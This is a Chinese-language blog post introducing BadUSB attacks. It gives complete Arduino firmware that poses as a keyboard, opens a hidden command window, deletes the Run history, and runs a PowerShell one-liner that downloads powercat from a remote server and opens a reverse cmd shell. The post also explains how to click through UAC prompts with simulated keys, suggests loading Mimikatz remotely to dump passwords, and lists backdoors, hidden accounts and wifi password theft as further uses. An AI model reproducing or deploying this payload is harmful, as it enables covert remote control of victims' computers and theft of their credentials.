从暑期某集训中,偶然接触到赵师傅介绍的一种社工手段,badusb,不同于以前的那种U盘里带病毒,严格来说badusb不算是U盘,它也不提供存储功能。但是正因为它将恶意代码置于硬件中,使得杀软以及U盘格式化等防范措施都无效。
赵师傅的badusb,自带了wifi模块,对于物理隔离的内网也能在插入badusb后建立网络与外界连通,这也提供了一种有效的打击隔离内网的社工方法。
回去以后好奇买了一个玩玩,没有wifi模块,需要主机自带网络才能执行反弹shell等恶意操作。
之前接触到的一个项目Chrome-Password-Dumper,其中利用了powershell脚本中的IEX (New-Object System.Net.Webclient).DownloadString(),实现远程获取powershell脚本并执行,真觉得它的功能强大(完美地贴合渗透..),正好可以利用于badusb中远程执行恶意脚本。
BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。
Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
反弹shell示例代码
#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK); //大小写绕过可能存在的中文输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口
//Keyboard.println("cmd.exe ");
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(300);
Keyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清除运行记录
delay(500);
Keyboard.println("POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xxx.xx.xx/powercat.ps1'); POWERCAT -c xx.xxx.xx.xx -p 43960 -e cmd");
delay(500);
//Keyboard.println("exit");
//Keyboard.press(KEY_CAPS_LOCK);
//Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
工具 →获取开发板信息
在工具下选好开发板(上图的ArduinoLeonardo)和端口,编程器选择USBasp
然后 编译 上传 即可。再次插入Badusb即可实现按键模拟过程。
POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://your_vps_ip/xxx/powercat.ps1'); POWERCAT -c your_vps_ip -p 9999 -e cmd
PS:遇到UAC(用户访问控制)这种,键盘模拟也可以绕过(说是绕过,其实就是操作键盘按键来选择赋权),比如CMD的管理员模式,可以win+r打开运行后,输入cmd,再按住Shift+Ctrl+回车即可以管理员启动cmd,同时控制好延时时间,对弹出来的UAC,按住Alt即可出现Y/N对“是/否”的选择。或者直接操作左键+回车都可以选择到“是”来打开管理员cmd
Powershell-Mimikatz
同上利用方式,badusb中模拟按键打开powershell远程下载Mimikatz脚本执行;适当修改其脚本添加转发功能即可实现远程dump-password。
其他
永久后门、当前用户修改密码、键盘记录、强制关机、添加隐藏用户、盗取wifi密码等等。由于powershell能够做的事太多了,所以基本上能想象的攻击操作都能够通过这种方式实现。
Powershell脚本的强大在于它能够很好地兼容Windows, 能很好地用于渗透,不乏像【nishang】、【empire】这样的powershell框架,所以学好它,会利用好它很有必要。本篇只是提供Badusb这一种攻击面的介绍,顺带拓展出powershell脚本用于渗透攻击的方便性。